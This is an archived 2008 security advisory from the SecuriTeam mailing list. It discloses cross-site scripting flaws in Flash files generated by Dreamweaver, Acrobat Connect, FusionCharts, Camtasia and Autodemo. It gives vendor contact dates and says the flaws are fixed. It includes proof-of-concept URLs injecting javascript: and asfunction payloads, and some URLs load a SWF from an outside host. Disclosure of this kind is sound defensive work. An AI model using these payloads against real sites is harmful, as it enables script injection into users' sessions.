

[NEWS] XSS Vulnerabilities in Common Shockwave Flash Files

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2008-01/msg00005.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 3 Jan 2008 13:57:26 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

XSS Vulnerabilities in Common Shockwave Flash Files

SUMMARY

Critical vulnerabilities exist in a large number of widely used web authoring tools that automatically generate Shockwave Flash (SWF) files, such as Adobe (r) Dreamweaver (r), Adobe Acrobat (r) Connect (tm) (formerly Macromedia Breeze), InfoSoft FusionCharts, and Techsmith Camtasia. The flaws render websites that host these generated SWF files vulnerable to Cross-Site Scripting (XSS).

This problem is not limited to authoring tools. Autodemo, a popular service provider, used a vulnerable controller SWF in many of their projects.

Simple Google hacking queries reveal that hundreds of thousands of SWFs are vulnerable on the Internet, and a considerable percentage of major Internet sites are affected. We are only reporting XSS vulnerabilities that have been fixed by the vendors.

DETAILS

Many web authoring tools that automatically generate SWFs insert identical

[NEWS] XSS Vulnerabilities in Common Shockwave Flash Files

and vulnerable ActionScript into all saved SWFs or necessary controller SWFs (think of tools that "save as SWF", "export to SWF", etc.). The vulnerable ActionScript can be used by attackers to execute arbitrary JavaScript in the security domain of the website hosting the SWF.

We were unable to perform an exhaustive review of all authoring tools that generate SWFs. More XSS issues may exist in the products listed below and certainly exist in other applications that save to SWF.

We are only reporting XSS vulnerabilities that have been fixed by the vendors. There are more products vulnerable. We will publish more information when the vendor releases fixes.

Adobe Dreamweaver

The "skinName" parameter is accepted by all Flash files produced by the "Insert Flash Video" feature. "skinName" can be used to force victims to load of arbitrary URLs including the "asfunction" protocol handler:

[http://www.example.com/FLVPlayer_Progressive.swf?skinName=asfunction:getURL,javascript:alert\(1\)//](http://www.example.com/FLVPlayer_Progressive.swf?skinName=asfunction:getURL,javascript:alert(1)//)

Adobe was contacted on August 8, 2007. This issue was fixed in the December Flash player release.

Adobe Acrobat Connect/Macromedia Dreamweaver

"main.swf" is the controller file in all Connect/Breeze online presentations. This SWF does not properly validate the "baseurl" parameter; thus causing script injection:

[http://www.example.com/main.swf?baseurl=asfunction:getURL,javascript:alert\(1\)//](http://www.example.com/main.swf?baseurl=asfunction:getURL,javascript:alert(1)//)

Adobe was contacted on July 31, 2007. This issue was fixed in the December Flash player release.

InfoSoft FusionCharts

One of the issues found in FusionCharts was that the "dataURL" parameter allows insertion of arbitrary HTML into a "TextArea" instance. This allows attackers to load SWFs from other domains:

[http://www.example.com/Example.swf?debugMode=1&dataURL=%27%3E%3Cimg+src%3D%22http%3A//cannings](http://www.example.com/Example.swf?debugMode=1&dataURL=%27%3E%3Cimg+src%3D%22http%3A//cannings.org/DoKnowEvil.swf%3f)

InfoSoft was contacted on September 2, 2007. Fixes for all issues we found were released in late September. Webmasters should consult InfoSoft to properly upgrade their SWFs. See "The Fix" for details.

Techsmith Camtasia

One of the issues found in Camtasia was that the "csPreloader" parameter loads an arbitrary flash file:

http://www.example.com/Example_controller.swf?csPreloader=http://cannings.org/DoKnowEvil.swf%3f

Techsmith was contacted on August 12, 2007. Fixes for all issues was released late September. Webmasters should contact Techsmith to properly upgrade their SWFs. See "The Fix" for details.

Autodemo

[NEWS] XSS Vulnerabilities in Common Shockwave Flash Files

Autodemo is a service provider, not an authoring tool. However, like authoring tools they use a common control file in many demos. The "onend" parameter in "control.swf" loads arbitrary URLs including the JavaScript protocol handler:

[http://www.example.com/control.swf?onend=javascript:alert\(1\)//](http://www.example.com/control.swf?onend=javascript:alert(1)//)

Autodemo was contacted on August 17, 2007. Autodemo was extremely responsive to our report and quickly fixed the issue in early September. Webmasters must update to the latest "control.swf". See "The Fix" for details.

Autodemo is not the only service provider to have XSS in their products. They are just the only service provider we looked at. Readers should be concerned about other service providers who don't even know their SWFs are vulnerable.

The Fix

See <http://docs.google.com/Doc?docid=ajfxntc4dmsq_14dt57ssdw>
http://docs.google.com/Doc?docid=ajfxntc4dmsq_14dt57ssdw.

ADDITIONAL INFORMATION

The information has been provided by <<mailto:rcannings@xxxxxxxx>> Rich Cannings.

The original article can be found at:

<http://docs.google.com/Doc?docid=ajfxntc4dmsq_14dt57ssdw>
http://docs.google.com/Doc?docid=ajfxntc4dmsq_14dt57ssdw

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.